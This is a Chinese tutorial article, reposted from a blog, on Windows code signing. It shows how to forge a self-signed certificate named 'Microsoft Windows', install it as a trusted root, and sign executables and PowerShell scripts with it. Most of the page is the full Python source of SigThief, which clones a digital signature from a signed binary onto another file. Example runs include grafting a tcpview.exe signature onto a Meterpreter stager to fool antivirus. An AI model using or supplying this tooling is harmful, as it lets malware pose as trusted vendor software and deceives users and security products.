脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - Python - Python使用sigthief签发证书的实现步骤

Python使用sigthief签发证书的实现步骤

2021-12-07 10:43lyshark Python

Windows 系统中的一些非常重要文件通常会被添加数字签名,其目的是用来防止被篡改,能确保用户通过互联网下载时能确信此代码没有被非法篡改和来源可信,从而保护了代码的完整性、保护了用户不会被病毒、恶意代码和间谍软件

证书制作工具下载: https://github.com/3gstudent/signtools

制作并签发证书:

正常情况下,针对exe签发证书有如下几个步骤.

1.查询一个程序中存在的证书,可以使用下面三个命令。

?
1
2
3
c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll
c:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll
c:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作证书,sv-私钥文件名,ss-主题的证书存储名称,n-证书颁发对象,r-证书存储位置。

?
1
2
3
c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
c:\> signtools cert2spc Root.cer Root.spc
c:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注册证书与签发证书。

?
1
2
c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine root
c:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要给PowerShell脚本添加证书,则执行如下命令即可.

1.生成证书文件

?
1
2
3
c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\> cert2spc certtest.cer certtest.spc
c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.给powershell脚本签名

?
1
2
3
c:\> powershell
c:\> $cert = Get-PfxCertificate certtest.pfx
c:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert

伪造PE文件证书:

有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效,并且有一些只是检查以查看certTable是否填充了某些值。这个工具让你快速将从已签名的PE文件中删除签名并将其附加到另一个文件,修复证书表以对文件进行签名。

开源工具SigThief可用于伪造证书,将下方代码保存为sigthief.py即可:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
import sys
import struct
import shutil
import io
from optparse import OptionParser
 
def gather_file_info_win(binary):
        """
        Borrowed from BDF...
        I could just skip to certLOC... *shrug*
        """
        flItms = {}
        binary = open(binary, 'rb')
        binary.seek(int('3C', 16))
        flItms['buffer'] = 0
        flItms['JMPtoCodeAddress'] = 0
        flItms['dis_frm_pehdrs_sectble'] = 248
        flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
        # Start of COFF
        flItms['COFF_Start'] = flItms['pe_header_location'] + 4
        binary.seek(flItms['COFF_Start'])
        flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
        binary.seek(flItms['COFF_Start'] + 2, 0)
        flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
        flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
        binary.seek(flItms['COFF_Start'] + 16, 0)
        flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
        flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
        #End of COFF
        flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
 
        #if flItms['SizeOfOptionalHeader']:
            #Begin Standard Fields section of Optional Header
        binary.seek(flItms['OptionalHeader_start'])
        flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
        flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
        flItms['SizeOfUninitializedData'] = struct.unpack("<I",
                                                               binary.read(4))[0]
        flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
        flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
        flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
        if flItms['Magic'] != 0x20B:
            flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
        # End Standard Fields section of Optional Header
        # Begin Windows-Specific Fields of Optional Header
        if flItms['Magic'] == 0x20B:
            flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
        else:
            flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
        flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
        flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
        flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
                                                                   binary.read(2))[0]
        flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
                                                                   binary.read(2))[0]
        flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
        flItms['SizeOfImageLoc'] = binary.tell()
        flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
        flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
        flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
        flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
        flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
        if flItms['Magic'] == 0x20B:
            flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
 
        else:
            flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
        flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0# zero
        flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
        # End Windows-Specific Fields of Optional Header
        # Begin Data Directories of Optional Header
        flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
        #ImportTable SIZE|LOC
        flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
        flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
        flItms['CertTableLOC'] = binary.tell()
        flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
        flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
        binary.close()
        return flItms
 
 
def copyCert(exe):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Input file Not signed!")
        sys.exit(-1)
 
    with open(exe, 'rb') as f:
        f.seek(flItms['CertLOC'], 0)
        cert = f.read(flItms['CertSize'])
    return cert
 
 
def writeCert(cert, exe, output):
    flItms = gather_file_info_win(exe)
    
    if not output:
        output = output = str(exe) + "_signed"
 
    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))
 
    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("<I", len(open(exe, 'rb').read())))
            f.write(struct.pack("<I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)
 
    print("Signature appended. \nFIN.")
 
def outputCert(exe, output):
    cert = copyCert(exe)
    if not output:
        output = str(exe) + "_sig"
 
    print("Output file: {0}".format(output))
 
    open(output, 'wb').write(cert)
 
    print("Signature ripped. \nFIN.")
 
 
def check_sig(exe):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
    else:
        print("Inputfile is signed!")
 
 
def truncate(exe, output):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
        sys.exit(-1)
    else:
        print( "Inputfile is signed!")
 
    if not output:
        output = str(exe) + "_nosig"
 
    print("Output file: {0}".format(output))
 
    shutil.copy2(exe, output)
 
    with open(output, "r+b") as binary:
        print('Overwriting certificate table pointer and truncating binary')
        binary.seek(-flItms['CertSize'], io.SEEK_END)
        binary.truncate()
        binary.seek(flItms['CertTableLOC'], 0)
        binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
 
    print("Signature removed. \nFIN.")
 
 
def signfile(exe, sigfile, output):
    flItms = gather_file_info_win(exe)
    
    cert = open(sigfile, 'rb').read()
 
    if not output:
        output = output = str(exe) + "_signed"
 
    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))
    
    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("<I", len(open(exe, 'rb').read())))
            f.write(struct.pack("<I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)
    print("Signature appended. \nFIN.")
 
 
if __name__ == "__main__":
    usage = 'usage: %prog [options]'
    parser = OptionParser()
    parser.add_option("-i", "--file", dest="inputfile",
                  help="input file", metavar="FILE")
    parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
                  help='rip signature off inputfile')
    parser.add_option('-a', '--add', dest='addsig', action='store_true',
                  help='add signautre to targetfile')
    parser.add_option('-o', '--output', dest='outputfile',
                  help='output file')
    parser.add_option('-s', '--sig', dest='sigfile',
                  help='binary signature from disk')
    parser.add_option('-t', '--target', dest='targetfile',
                  help='file to append signature to')
    parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
                  help='file to check if signed; does not verify signature')
    parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
                  help='truncate signature (i.e. remove sig)')
    (options, args) = parser.parse_args()
    
    # rip signature
    # inputfile and rip to outputfile
    if options.inputfile and options.ripsig:
        print("Ripping signature to file!")
        outputCert(options.inputfile, options.outputfile)
        sys.exit()   
 
    # copy from one to another
    # inputfile and rip to targetfile to outputfile   
    if options.inputfile and options.targetfile:
        cert = copyCert(options.inputfile)
        writeCert(cert, options.targetfile, options.outputfile)
        sys.exit()
 
    # check signature
    # inputfile
    if options.inputfile and options.checksig:
        check_sig(options.inputfile)
        sys.exit()
 
    # add sig to target file
    if options.targetfile and options.sigfile:
        signfile(options.targetfile, options.sigfile, options.outputfile)
        sys.exit()
        
    # truncate
    if options.inputfile and options.truncate:
        truncate(options.inputfile, options.outputfile)
        sys.exit()
 
    parser.print_help()
    parser.error("You must do something!")

我们需要找一个带有证书的文件,然后通过使用sigthief.py完成证书的克隆。此处就拿系统中的ConsentUX.dll演示。

?
1
2
3
4
c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe
Output file: check.exe
Signature appended.
FIN.

也可以从二进制文件中获取签名并将其添加到另一个二进制文件中

?
1
2
3
4
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.

将签名保存到磁盘以供以后使用,提供了一个转存功能。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ./sigthief.py -i tcpview.exe -r                                                       
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
```BASH
使用翻录签名
```BASH
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe                              
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
```BASH
截断(删除)签名 这实际上有非常有趣的结果,可以帮助您找到重视代码功能签名的AV)
```BASH
$ ./sigthief.py -i tcpview.exe -T   
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.

文章出处:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief签发证书的实现步骤的详细内容,更多关于Python使用sigthief签发证书的资料请关注服务器之家其它相关文章!

原文链接:https://www.cnblogs.com/LyShark/p/14890075.html

延伸 · 阅读

精彩推荐